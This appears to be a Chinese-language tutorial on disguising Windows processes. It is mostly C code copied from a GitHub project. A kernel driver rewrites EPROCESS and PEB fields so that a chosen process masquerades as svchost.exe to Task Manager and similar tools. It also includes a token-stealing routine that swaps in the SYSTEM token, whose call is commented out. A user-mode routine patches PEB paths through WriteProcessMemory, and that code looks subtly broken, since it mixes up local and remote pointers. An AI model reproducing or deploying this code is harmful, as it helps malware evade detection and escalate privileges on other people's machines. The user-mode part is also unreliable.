背景
欺骗任务管理器等行为工具，"隐藏"进程的另一种方法。原理是修改 EPROCESS 中的成员。
驱动层进程伪装
以下代码来自：https://github.com/zhuhuibeishadiao/PathModification
PathModification.h
#ifndef _PATH_MODIFICATION_H_
#define _PATH_MODIFICATION_H_ 1
//NTSTATUS PsGetTarProcessInfo(HANDLE pid);
//
//BOOLEAN PathPebLdr(PEPROCESS Process, WCHAR* szFullName, WCHAR* szBaseName);
//
//BOOLEAN PathPebProcessParameters(PEPROCESS Process, WCHAR* szFullName);
//
//BOOLEAN PathSeAuditProcessCreationInfo(PEPROCESS Process, WCHAR* ProcessName);
//
//BOOLEAN PathImageFileName(PEPROCESS Process, char* cName);
//
//BOOLEAN PathSeFileObject(PEPROCESS Process, WCHAR* szFullName);
BOOLEAN PathModification(HANDLE pid);
#endif
PathModification.c
#include "pch.h"
#pragma warning(disable: 4214)
#pragma warning(disable: 4057)
#pragma warning(disable: 4201)
#pragma warning(disable: 4267)
typedef struct _LDR_DATA_TABLE_ENTRY // 24 elements, 0xE0 bytes (sizeof)
{
/*0x000*/ struct _LIST_ENTRY InLoadOrderLinks; // 2 elements, 0x10 bytes (sizeof)
/*0x010*/ struct _LIST_ENTRY InMemoryOrderLinks; // 2 elements, 0x10 bytes (sizeof)
/*0x020*/ struct _LIST_ENTRY InInitializationOrderLinks; // 2 elements, 0x10 bytes (sizeof)
/*0x030*/ VOID* DllBase;
/*0x038*/ VOID* EntryPoint;
/*0x040*/ ULONG32 SizeOfImage;
/*0x044*/ UINT8 _PADDING0_[0x4];
/*0x048*/ struct _UNICODE_STRING FullDllName; // 3 elements, 0x10 bytes (sizeof)
/*0x058*/ struct _UNICODE_STRING BaseDllName; // 3 elements, 0x10 bytes (sizeof)
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
typedef struct _CURDIR // 2 elements, 0x18 bytes (sizeof)
{
/*0x000*/ struct _UNICODE_STRING DosPath; // 3 elements, 0x10 bytes (sizeof)
/*0x010*/ VOID* Handle;
}CURDIR, *PCURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS // 30 elements, 0x400 bytes (sizeof)
{
/*0x000*/ ULONG32 MaximumLength;
/*0x004*/ ULONG32 Length;
/*0x008*/ ULONG32 Flags;
/*0x00C*/ ULONG32 DebugFlags;
/*0x010*/ VOID* ConsoleHandle;
/*0x018*/ ULONG32 ConsoleFlags;
/*0x01C*/ UINT8 _PADDING0_[0x4];
/*0x020*/ VOID* StandardInput;
/*0x028*/ VOID* StandardOutput;
/*0x030*/ VOID* StandardError;
/*0x038*/ struct _CURDIR CurrentDirectory; // 2 elements, 0x18 bytes (sizeof)
/*0x050*/ struct _UNICODE_STRING DllPath; // 3 elements, 0x10 bytes (sizeof)
/*0x060*/ struct _UNICODE_STRING ImagePathName; // 3 elements, 0x10 bytes (sizeof)
/*0x070*/ struct _UNICODE_STRING CommandLine; // 3 elements, 0x10 bytes (sizeof)
/*0x080*/ VOID* Environment;
/*0x088*/ ULONG32 StartingX;
/*0x08C*/ ULONG32 StartingY;
/*0x090*/ ULONG32 CountX;
/*0x094*/ ULONG32 CountY;
/*0x098*/ ULONG32 CountCharsX;
/*0x09C*/ ULONG32 CountCharsY;
/*0x0A0*/ ULONG32 FillAttribute;
/*0x0A4*/ ULONG32 WindowFlags;
/*0x0A8*/ ULONG32 ShowWindowFlags;
/*0x0AC*/ UINT8 _PADDING1_[0x4];
/*0x0B0*/ struct _UNICODE_STRING WindowTitle; // 3 elements, 0x10 bytes (sizeof)
/*0x0C0*/ struct _UNICODE_STRING DesktopInfo; // 3 elements, 0x10 bytes (sizeof)
/*0x0D0*/ struct _UNICODE_STRING ShellInfo; // 3 elements, 0x10 bytes (sizeof)
/*0x0E0*/ struct _UNICODE_STRING RuntimeData; // 3 elements, 0x10 bytes (sizeof)
}RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB_LDR_DATA // 9 elements, 0x58 bytes (sizeof)
{
/*0x000*/ ULONG32 Length;
/*0x004*/ UINT8 Initialized;
/*0x005*/ UINT8 _PADDING0_[0x3];
/*0x008*/ VOID* SsHandle;
/*0x010*/ struct _LIST_ENTRY InLoadOrderModuleList; // 2 elements, 0x10 bytes (sizeof)
/*0x020*/ struct _LIST_ENTRY InMemoryOrderModuleList; // 2 elements, 0x10 bytes (sizeof)
/*0x030*/ struct _LIST_ENTRY InInitializationOrderModuleList; // 2 elements, 0x10 bytes (sizeof)
/*0x040*/ VOID* EntryInProgress;
/*0x048*/ UINT8 ShutdownInProgress;
/*0x049*/ UINT8 _PADDING1_[0x7];
/*0x050*/ VOID* ShutdownThreadId;
}PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _PEB // 91 elements, 0x380 bytes (sizeof)
{
/*0x000*/ UINT8 InheritedAddressSpace;
/*0x001*/ UINT8 ReadImageFileExecOptions;
/*0x002*/ UINT8 BeingDebugged;
union // 2 elements, 0x1 bytes (sizeof)
{
/*0x003*/ UINT8 BitField;
struct // 6 elements, 0x1 bytes (sizeof)
{
/*0x003*/ UINT8 ImageUsesLargePages : 1; // 0 BitPosition
/*0x003*/ UINT8 IsProtectedProcess : 1; // 1 BitPosition
/*0x003*/ UINT8 IsLegacyProcess : 1; // 2 BitPosition
/*0x003*/ UINT8 IsImageDynamicallyRelocated : 1; // 3 BitPosition
/*0x003*/ UINT8 SkipPatchingUser32Forwarders : 1; // 4 BitPosition
/*0x003*/ UINT8 SpareBits : 3; // 5 BitPosition
};
};
/*0x008*/ VOID* Mutant;
/*0x010*/ VOID* ImageBaseAddress;
/*0x018*/ struct _PEB_LDR_DATA* Ldr;
/*0x020*/ struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;
}PEB, *PPEB;
/*
+0x2e0 ImageFileName : [15] "explorer.exe"
0: kd> dt _SE_AUDIT_PROCESS_CREATION_INFO fffffa80037a7b30+0x390
nt!_SE_AUDIT_PROCESS_CREATION_INFO
+0x000 ImageFileName : 0xfffffa80`037a89b0 _OBJECT_NAME_INFORMATION
0: kd> dt 0xfffffa80`037a89b0 _OBJECT_NAME_INFORMATION
nt!_OBJECT_NAME_INFORMATION
+0x000 Name : _UNICODE_STRING "\Device\HarddiskVolume1\Windows\explorer.exe"
PEB ProcessParameters
+0x060 ImagePathName : _UNICODE_STRING "C:\Windows\Explorer.EXE"
+0x070 CommandLine : _UNICODE_STRING "C:\Windows\Explorer.EXE"
+0x080 Environment : 0x00000000`02932eb0 Void
+0x088 StartingX : 0
+0x08c StartingY : 0
+0x090 CountX : 0
+0x094 CountY : 0
+0x098 CountCharsX : 0
+0x09c CountCharsY : 1
+0x0a0 FillAttribute : 0x175
+0x0a4 WindowFlags : 1
+0x0a8 ShowWindowFlags : 1
+0x0b0 WindowTitle : _UNICODE_STRING "C:\Windows\Explorer.EXE"
+0x0c0 DesktopInfo : _UNICODE_STRING "Winsta0\Default"
+0x0d0 ShellInfo : _UNICODE_STRING "C:\Windows\Explorer.EXE"
InLoadOrderModuleList InMemoryOrderLinks是同一片内存区域(前者+0x10就是后者 只需要改一个地方就行 最好前者)
*/
WCHAR* g_szTarSeAuditProcessName = NULL;
WCHAR* g_szTarPebFullName = NULL;
WCHAR* g_szTarPebBaseName = NULL;
WCHAR* g_szTarFileObjectName = NULL;
WCHAR* g_szTarPebCurrentDir = NULL;
WCHAR* g_szTarWin10ImageFilePointerName = NULL; //offset 0x448
LARGE_INTEGER g_TarCreateTime = {
0 };
ULONG_PTR g_TarInheritedFromUniqueProcessId = 0;
// 获取被伪装的进程的一些信息
NTSTATUS PsGetTarProcessInfo(HANDLE pid)
{
// SE_AUDIT_PROCESS_CREATION_INFO
// PEB ProcessParameters
// PEB Ldr
PPEB peb = NULL;
PLDR_DATA_TABLE_ENTRY ldr = NULL;
PEPROCESS Process = NULL;
NTSTATUS status = STATUS_UNSUCCESSFUL;
PUNICODE_STRING SeAuditName = NULL;
PUNICODE_STRING SelocateName = NULL;
PFILE_OBJECT pFileObject = NULL;
status = PsLookupProcessByProcessId(pid, &Process);
if (!NT_SUCCESS(status))
return status;
g_TarCreateTime.QuadPart = PsGetProcessCreateTimeQuadPart(Process);
g_TarInheritedFromUniqueProcessId = PsGetProcessInheritedFromUniqueProcessId(Process);
if (*NtBuildNumber > 9600)
{
g_szTarWin10ImageFilePointerName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
if (g_szTarWin10ImageFilePointerName == NULL)
return STATUS_NO_MEMORY;
RtlZeroMemory(g_szTarWin10ImageFilePointerName, KMAX_PATH * 2);
}
if (g_szTarPebBaseName == NULL)
g_szTarPebBaseName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);
if (g_szTarPebFullName == NULL)
g_szTarPebFullName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);
if (g_szTarSeAuditProcessName == NULL)
g_szTarSeAuditProcessName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
if(g_szTarFileObjectName == NULL)
g_szTarFileObjectName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
if (g_szTarPebCurrentDir == NULL)
g_szTarPebCurrentDir = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
if (g_szTarPebBaseName && g_szTarPebFullName && g_szTarSeAuditProcessName && g_szTarFileObjectName && g_szTarPebCurrentDir)
{
RtlZeroMemory(g_szTarPebBaseName, MAX_PATH * 2);
RtlZeroMemory(g_szTarPebFullName, MAX_PATH * 2);
RtlZeroMemory(g_szTarSeAuditProcessName, KMAX_PATH * 2);
RtlZeroMemory(g_szTarFileObjectName, KMAX_PATH * 2);
RtlZeroMemory(g_szTarPebCurrentDir, KMAX_PATH * 2);
if (!NT_SUCCESS(SeLocateProcessImageName(Process, &SelocateName)))
return STATUS_UNSUCCESSFUL;
ExFreePool(SelocateName);
if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
return STATUS_UNSUCCESSFUL;
RtlCopyMemory(g_szTarFileObjectName, pFileObject->FileName.Buffer, pFileObject->FileName.Length);
ObDereferenceObject(pFileObject);
if (*NtBuildNumber > 9600)
{
pFileObject = (PFILE_OBJECT)(*(PULONG_PTR)((ULONG_PTR)Process + 0x448)); //+0x448 ImageFilePointer
if (!MmIsAddressValid(pFileObject))
{
ObDereferenceObject(Process);
return STATUS_UNSUCCESSFUL;
}
RtlCopyMemory(g_szTarWin10ImageFilePointerName, pFileObject->FileName.Buffer, pFileObject->FileName.Length);
}
if(*NtBuildNumber < 9600)
SeAuditName = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x390)); // win7 offset
else
SeAuditName = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x468)); // win10 offset 14393 15063 16299
if (!MmIsAddressValid(SeAuditName))
{
ObDereferenceObject(Process);
return STATUS_UNSUCCESSFUL;
}
RtlCopyMemory(g_szTarSeAuditProcessName, SeAuditName->Buffer, SeAuditName->Length);
peb = PsGetProcessPeb(Process);
KeAttachProcess(Process);
__try {
RtlCopyMemory(g_szTarPebFullName, peb->ProcessParameters->ImagePathName.Buffer, peb->ProcessParameters->ImagePathName.Length);
ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;
RtlCopyMemory(g_szTarPebBaseName, ldr->BaseDllName.Buffer, ldr->BaseDllName.Length);
RtlCopyMemory(g_szTarPebCurrentDir, peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, peb->ProcessParameters->CurrentDirectory.DosPath.Length);
status = STATUS_SUCCESS;
}
__except (1)
{
}
KeDetachProcess();
}
else
{
status = STATUS_NO_MEMORY;
}
ObDereferenceObject(Process);
return status;
}
BOOLEAN PathWin10ImageNamePoint(PEPROCESS Process, WCHAR* szFullName)
{
BOOLEAN bRet = FALSE;
PFILE_OBJECT pFileObject = NULL;
WCHAR* szNewFullName = NULL;
if (szFullName == NULL || Process == NULL)
return FALSE;
szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
if (szNewFullName == NULL)
return FALSE;
RtlZeroMemory(szNewFullName, KMAX_PATH * 2);
pFileObject = (PFILE_OBJECT)(*(PULONG_PTR)((ULONG_PTR)Process + 0x448)); //+0x448 ImageFilePointer
if (!MmIsAddressValid(pFileObject))
{
ExFreePool(szNewFullName);
return FALSE;
}
if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
{
RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
pFileObject->FileName.Length = wcslen(szFullName) * 2;
ExFreePool(szNewFullName);
bRet = TRUE;
}
else
{
RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
pFileObject->FileName.Buffer = szNewFullName;
pFileObject->FileName.Length = wcslen(szFullName) * 2;
pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
bRet = TRUE;
}
return bRet;
}
BOOLEAN PathSeFileObject(PEPROCESS Process, WCHAR* szFullName)
{
BOOLEAN bRet = FALSE;
PFILE_OBJECT pFileObject = NULL;
WCHAR* szNewFullName = NULL;
if (szFullName == NULL || Process == NULL)
return FALSE;
szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
if (szNewFullName == NULL)
return FALSE;
RtlZeroMemory(szNewFullName, KMAX_PATH * 2);
if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
return FALSE;
if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
{
RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
pFileObject->FileName.Length = wcslen(szFullName) * 2;
ExFreePool(szNewFullName);
bRet = TRUE;
}
else
{
RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
pFileObject->FileName.Buffer = szNewFullName;
pFileObject->FileName.Length = wcslen(szFullName) * 2;
pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
bRet = TRUE;
}
ObDereferenceObject(pFileObject);
return bRet;
}
BOOLEAN PathPebLdr(PEPROCESS Process, WCHAR* szFullName, WCHAR* szBaseName)
{
PPEB peb = NULL;
BOOLEAN bRet = FALSE;
BOOLEAN bAttach = FALSE;
PLDR_DATA_TABLE_ENTRY ldr = NULL;
if (Process == NULL || szFullName == NULL || szBaseName == NULL)
return FALSE;
do
{
peb = PsGetProcessPeb(Process);
if (peb == NULL)
break;
KeAttachProcess(Process);
bAttach = TRUE;
__try {
ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;
if (!MmIsAddressValid(ldr))
break;
if (ldr->FullDllName.Length < wcslen(szFullName) * 2)
break;
if (ldr->BaseDllName.Length < wcslen(szBaseName) * 2)
break;
RtlZeroMemory(ldr->FullDllName.Buffer, ldr->FullDllName.MaximumLength);
RtlCopyMemory(ldr->FullDllName.Buffer, szFullName, wcslen(szFullName) * 2);
RtlZeroMemory(ldr->BaseDllName.Buffer, ldr->BaseDllName.MaximumLength);
RtlCopyMemory(ldr->BaseDllName.Buffer, szBaseName, wcslen(szBaseName) * 2);
bRet = TRUE;
}
__except (1)
{
}
} while (FALSE);
if (bAttach)
KeDetachProcess();
return bRet;
}
BOOLEAN PathPebProcessParameters(PEPROCESS Process, WCHAR* szFullName)
{
BOOLEAN bRet = FALSE;
BOOLEAN bAttach = FALSE;
PPEB Peb = NULL;
if (Process == NULL || szFullName == NULL)
return FALSE;
do
{
Peb = PsGetProcessPeb(Process);
if (Peb == NULL)
break;
KeAttachProcess(Process);
bAttach = TRUE;
__try {
if (Peb->ProcessParameters->ImagePathName.Length < wcslen(szFullName) * 2)
break;
RtlZeroMemory(Peb->ProcessParameters->ImagePathName.Buffer, Peb->ProcessParameters->ImagePathName.MaximumLength);
RtlCopyMemory(Peb->ProcessParameters->ImagePathName.Buffer, szFullName, wcslen(szFullName) * 2);
RtlZeroMemory(Peb->ProcessParameters->CommandLine.Buffer, Peb->ProcessParameters->CommandLine.MaximumLength);
RtlCopyMemory(Peb->ProcessParameters->CommandLine.Buffer, szFullName, wcslen(szFullName) * 2);
if (Peb->ProcessParameters->WindowTitle.Length >= wcslen(szFullName) * 2)
{
RtlZeroMemory(Peb->ProcessParameters->WindowTitle.Buffer, Peb->ProcessParameters->WindowTitle.MaximumLength);
RtlCopyMemory(Peb->ProcessParameters->WindowTitle.Buffer, szFullName, wcslen(szFullName) * 2);
}
if (Peb->ProcessParameters->ShellInfo.Length >= wcslen(szFullName) * 2)
{
RtlZeroMemory(Peb->ProcessParameters->ShellInfo.Buffer, Peb->ProcessParameters->ShellInfo.MaximumLength);
RtlCopyMemory(Peb->ProcessParameters->ShellInfo.Buffer, szFullName, wcslen(szFullName) * 2);
}
if (Peb->ProcessParameters->CurrentDirectory.DosPath.Length >= wcslen(g_szTarPebCurrentDir) * 2)
{
RtlZeroMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, Peb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
RtlCopyMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, g_szTarPebCurrentDir, wcslen(g_szTarPebCurrentDir) * 2);
}
bRet = TRUE;
}
__except (1)
{
}
} while (FALSE);
if(bAttach)
KeDetachProcess();
return bRet;
}
// 这里的ProcessName 为全路径 \Device\HarddiskVolume1\Windows\explorer.exe 这里使用GetTarProcessInfo去获取即可
BOOLEAN PathSeAuditProcessCreationInfo(PEPROCESS Process, WCHAR* ProcessName)
{
PUNICODE_STRING Name = NULL;
PUNICODE_STRING SelocateName = NULL;
if (Process == NULL || ProcessName == NULL)
return FALSE;
if (!NT_SUCCESS(SeLocateProcessImageName(Process, &SelocateName)))
return FALSE;
ExFreePool(SelocateName);
if(*NtBuildNumber < 9600)
Name = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x390));
else
Name = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x468));
if (!MmIsAddressValid(Name))
return FALSE;
if ((wcslen(ProcessName) * 2) > Name->Length)
{
return FALSE;
}
RtlZeroMemory(Name->Buffer, Name->MaximumLength);
RtlCopyMemory(Name->Buffer, ProcessName, wcslen(ProcessName) * 2);
Name->Length = wcslen(ProcessName) * 2;
return TRUE;
}
// cName15字节的大小 分配内存时注意要大于15
BOOLEAN PathImageFileName(PEPROCESS Process, char* cName)
{
char szNameBuff[15] = {
0 };
char* szProcessBuff = NULL;
size_t cNamelen = 0;
if (Process == NULL || cName == NULL)
return FALSE;
cNamelen = strlen(cName);
RtlZeroMemory(szNameBuff, sizeof(szNameBuff));
if(cNamelen > 15)
RtlCopyMemory(szNameBuff, cName, sizeof(szNameBuff));
else
RtlCopyMemory(szNameBuff, cName, cNamelen);
szProcessBuff = PsGetProcessImageFileName(Process);
RtlZeroMemory(szProcessBuff, sizeof(szNameBuff));
RtlCopyMemory(szProcessBuff, szNameBuff, sizeof(szNameBuff));
return TRUE;
}
PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address)
{
//
// To get an address of a token from the Token field in EPROCESS, the lowest
// N bits where N is size of a RefCnt field needs to be masked.
//
// kd> dt nt!_EX_FAST_REF
// + 0x000 Object : Ptr64 Void
// + 0x000 RefCnt : Pos 0, 4 Bits
// + 0x000 Value : Uint8B
//
ULONG_PTR Value = *(ULONG_PTR*)(Address);
return (PACCESS_TOKEN)(Value & ((ULONG_PTR)(~0xf)));
}
BOOLEAN PathToken(PEPROCESS Process)
{
PACCESS_TOKEN CurrentToken = NULL;
PACCESS_TOKEN SystemToken = NULL;
BOOLEAN bRet = FALSE;
CurrentToken = PsReferencePrimaryToken(Process);
SystemToken = PsReferencePrimaryToken(PsInitialSystemProcess);
for (auto Offset = 0ul; Offset < sizeof(void *) * 0x80;
Offset += sizeof(void *))
{
// Is this address stores token?
ULONG_PTR TestAddress = (ULONG_PTR)Process + Offset;
PACCESS_TOKEN ProbableToken = GetProceesTokenAddress(TestAddress);
if (ProbableToken == CurrentToken)
{
// Found the field, replace the contents with the SYSTEM token
PACCESS_TOKEN* TokenAddress = (PACCESS_TOKEN*)(TestAddress);
*TokenAddress = SystemToken;
bRet = TRUE;
break;
}
}
//ULONG_PTR TestAddress = (ULONG_PTR)Process + 0x358;
//PACCESS_TOKEN ProbableToken = GetProceesTokenAddress(TestAddress);
//if (ProbableToken == CurrentToken)
//{
// // Found the field, replace the contents with the SYSTEM token
// PACCESS_TOKEN* TokenAddress = (PACCESS_TOKEN*)(TestAddress);
// *TokenAddress = SystemToken;
// bRet = TRUE;
//}
PsDereferencePrimaryToken(CurrentToken);
PsDereferencePrimaryToken(SystemToken);
return bRet;
}
BOOLEAN PathCreateTime(PEPROCESS Process)
{
ULONG offset = 0;
offset = *(PULONG)((ULONG_PTR)PsGetProcessCreateTimeQuadPart + 3);
if (offset)
{
*(LARGE_INTEGER*)((ULONG_PTR)Process + offset) = g_TarCreateTime;
return TRUE;
}
return FALSE;
}
BOOLEAN PathInheritedFromUniqueProcessId(PEPROCESS Process)
{
ULONG offset = 0;
offset = *(PULONG)((ULONG_PTR)PsGetProcessInheritedFromUniqueProcessId + 3);
if (offset)
{
*(ULONG_PTR*)((ULONG_PTR)Process + offset) = g_TarInheritedFromUniqueProcessId;
return TRUE;
}
return FALSE;
}
BOOLEAN PathModification(HANDLE pid)
{
HANDLE SvchostPid = NULL;
PEPROCESS Process = NULL;
//DbgBreakPoint();
// 不支持x86进程
if (!PsIs64BitProcess(pid))
return FALSE;
SvchostPid = (HANDLE)PsGetProcesIdBitByName("svchost.exe", TRUE);
if (SvchostPid == NULL)
return FALSE;
if (!NT_SUCCESS(PsGetTarProcessInfo(SvchostPid)))
return FALSE;
if (!NT_SUCCESS(PsLookupProcessByProcessId(pid, &Process)))
return FALSE;
PathSeFileObject(Process, g_szTarFileObjectName);
if (*NtBuildNumber > 9600)
PathWin10ImageNamePoint(Process, g_szTarWin10ImageFilePointerName);
PathImageFileName(Process, "svchost.exe");
PathSeAuditProcessCreationInfo(Process, g_szTarSeAuditProcessName);
PathPebProcessParameters(Process, g_szTarPebFullName);
PathPebLdr(Process, g_szTarPebFullName, g_szTarPebBaseName);
//PathToken(Process);
PathCreateTime(Process);
PathInheritedFromUniqueProcessId(Process);
ObDereferenceObject(Process);
return TRUE;
}
应用层进程伪装
//************************************
// 函数名：CHideDlg::DisguiseProcess
// 返回类型：BOOL
// 功能: 修改指定PEB中的路径和命令行信息, 实现进程伪装
// 参数1：DWORD dwProcessId 需要伪装的程序的PID
// 参数2：wchar_t *lpwszPath 伪装之后程序的路径
//************************************
BOOL CHideDlg::DisguiseProcess(DWORD dwProcessId, wchar_t *lpwszPath)
{
// 打开进程获取句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
MessageBox(_T("打开进程失败！"));
return FALSE;
}
//定义函数指针变量
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
PROCESS_BASIC_INFORMATION pbi = {
0 };
PEB peb = {
0 };
RTL_USER_PROCESS_PARAMETERS Param = {
0 };
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
// 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
::LoadLibrary(_T("ntdll.dll")), "NtQueryInformationProcess");
if (NULL == NtQueryInformationProcess)
{
MessageBox(_T("获取NtQueryInformationProcess函数地址失败！"));
return FALSE;
}
// 获取指定进程的基本信息
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status))
{
MessageBox(_T("获取进程的基本信息失败！"));
return FALSE;
}
// 获取指定进程基本信息结构中的PebBaseAddress
//::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
// 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间
//::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
// 修改指定PEB中的路径信息, 注意指针指向的是指定进程空间
usPathLen = 2 + 2 * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, &lpwszPath, sizeof(PWSTR), NULL);
::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->ImagePathName.MaximumLength, &usPathLen, sizeof(usPathLen), NULL);
// 修改指定PEB中的命令行信息, 注意指针指向的是指定进程空间
//usCmdLen = 2 + 2 * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->CommandLine.Buffer, &lpwszPath,sizeof(PWSTR), NULL);
::WriteProcessMemory(hProcess, &pbi.PebBaseAddress->ProcessParameters->CommandLine.Length, &usPathLen, sizeof(usPathLen), NULL);
return TRUE;
}